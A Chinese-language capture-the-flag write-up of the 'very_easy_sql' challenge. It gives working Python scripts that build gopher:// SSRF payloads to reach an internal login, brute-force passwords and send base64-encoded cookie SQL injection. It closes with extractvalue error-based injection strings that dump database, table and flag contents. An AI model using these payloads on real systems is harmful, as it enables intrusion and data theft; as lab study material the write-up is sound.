目錄
payload1
payload2
payload3
?
看到了題目是sql就猜測是sql注入和萬能密碼了,但怎么試貌似都沒有反應,看源代碼發現了use.php
訪問use.php頁面?
可以猜測這里是SSRF,可以訪問到我們本不能訪問的界面,比如:服務器本地的127.0.0.1:3306
先嘗試127.0.0.1
發現成功包含了index.php頁面,此頁面端口號為80端口,而我們要用到的就是這個端口,還記得一開始的頁面:
應該是借助這里的SSRF,才有正常的身份驗證權,現在就是想如何借助SSRF向服務器構造請求,讓服務器正常執行我們的身份驗證權。下面是我之前的一些嘗試:
嘗試:file:///flag -> nonono 猜測有協議過濾
最終發現gopher不會出現nono用no,這也是我們可以利用的一個協議
gopher協議:可直接封裝TCP數據流,模擬基于TCP的應用層協議,只要按目標服務的協議格式構造數據,就能通過gopher協議發送請求。借用該協議SSRF可借助服務器權限攻擊內網中原本無法直接訪問的服務,實現命令執行,文件寫入等高危操作。?
?接下來直接來構造,參考的是這位師傅的文章:攻防世界 very_easy_sql - 寄居動物 - 博客園
payload1
import urllib.parsehost="127.0.0.1:80"
content_type="application/x-www-form-urlencoded" # 表示請求體是經過 URL 編碼的表單數據
content="uname=admin&passwd=admin" # 請求的POST內容
content_length=len(content)data =\
f'''POST /index.php HTTP/1.1
Host: {host}
Content-Type: {content_type}
Content-Length: {content_length}{content}
'''data_url1 = urllib.parse.quote(data) # 將請求轉換為URL編碼格式
data_url1 = data_url1.replace("%0A","%0D%0A")
# HTTP請求中的行分隔符是\r\n(即%0D%0A的形式)
# 而Python中字符串的默認行為中換行符是\n 所以需要將0a替換為0d0a
data_url2=urllib.parse.quote(data_url1) # 要URL編碼解碼兩次payload='gopher://127.0.0.1:80/_'+data_url2print(payload)
這是借助師傅的wp寫出來的, 其中有一點沒想明白的是,這里默認是admin/admin,是弱密碼沒錯,但我覺得這里應該有一個爆破的環節,對password進行爆破;而password長度的區別又會影響到content_length的長度(經實驗,如果content_length不同的話無法得出答案),所以進行爆破的部分也許可以是這個URL部分:
修改后的代碼:
payload2
import urllib.parsedef generate_payload(password):host = "127.0.0.1:80"content_type = "application/x-www-form-urlencoded"content = f"uname=admin&passwd={password}"content_length = len(content)# 構造HTTP請求,確保包含正確的Content-Lengthdata = f'''POST /index.php HTTP/1.1Host: {host}Content-Type: {content_type}Content-Length: {content_length}{content}'''# 第一次URL編碼data_url1 = urllib.parse.quote(data)# 替換換行符為HTTP標準的\r\ndata_url1 = data_url1.replace("%0A", "%0D%0A")# 第二次URL編碼data_url2 = urllib.parse.quote(data_url1)# 生成最終的Gopher URIpayload = f'gopher://{host}/_{data_url2}'return payloaddef main():# 定義密碼字典passwords = ["password", "123456", "12345678", "qwerty", "abc123","monkey", "1234567", "letmein", "trustno1", "dragon","baseball", "111111", "iloveyou", "master", "sunshine","ashley", "bailey", "passw0rd", "shadow", "123123","654321", "superman", "qazwsx", "michael", "Football", "admin"]# 換成自己的字典# 打開文件以保存結果with open('test.txt', 'w') as f:for password in passwords:payload = generate_payload(password)f.write(f"{payload}\n")print(f"Generated payload for password: {password}")print(f"\n所有payload已保存到 test.txt 文件中")if __name__ == "__main__":main()
?嘗試爆破:
?
稍微有些慢,得到1525長度的URL,對應的密碼為admin?
得到payload:
gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A
響應包為:
?
base64解碼得: admin? ?接下來。。。也不知道怎么辦了,加上Cookie參數試試也沒反應,后來才知道這里才是用sql的地方。。。
現在直接用python腳本來測sql,構造請求包,也是參考的上面師傅的文章:
payload3
import base64
import urllib.parse
import requests# 初始化請求
url="http://61.147.171.103:54075/use.php"
headers={'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0'}def payload(sql):sql=base64.b64encode(sql.encode('utf-8')).decode('utf-8')cookie=f"this_is_your_cookie={sql}"data = \
f'''POST /index.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Cookie: {cookie}
'''# 注意這里的data不能縮進data_url1 = urllib.parse.quote(data)data_url1 = data_url1.replace("%0A","%0D%0A")gopher='gopher://127.0.0.1:80/_'+data_url1return gopher# 測試
sql="admin'"pay=payload(sql)
print(pay)
params={'url':f'{pay}'}
res=requests.get(url,params=params)
print(res.text)
?
發現閉合方式,且可嘗試報錯注入
# 爆庫得到:security
sql="admin') and extractvalue(1,concat(0x7e,database())) #
# 爆表得到:emails,flag,referers,uagents,us
admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'))) #
# 爆列名得到:flag
admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='flag'))) #
# 爆值得到:cyberpeace{56c067fba665158ddcac12237bcbfa9e}
admin') and extractvalue(1,concat(0x7e,(select left(flag,20) from flag))) #
admin') and extractvalue(1,concat(0x7e,(select right(flag,20) from flag))) #
?
?
?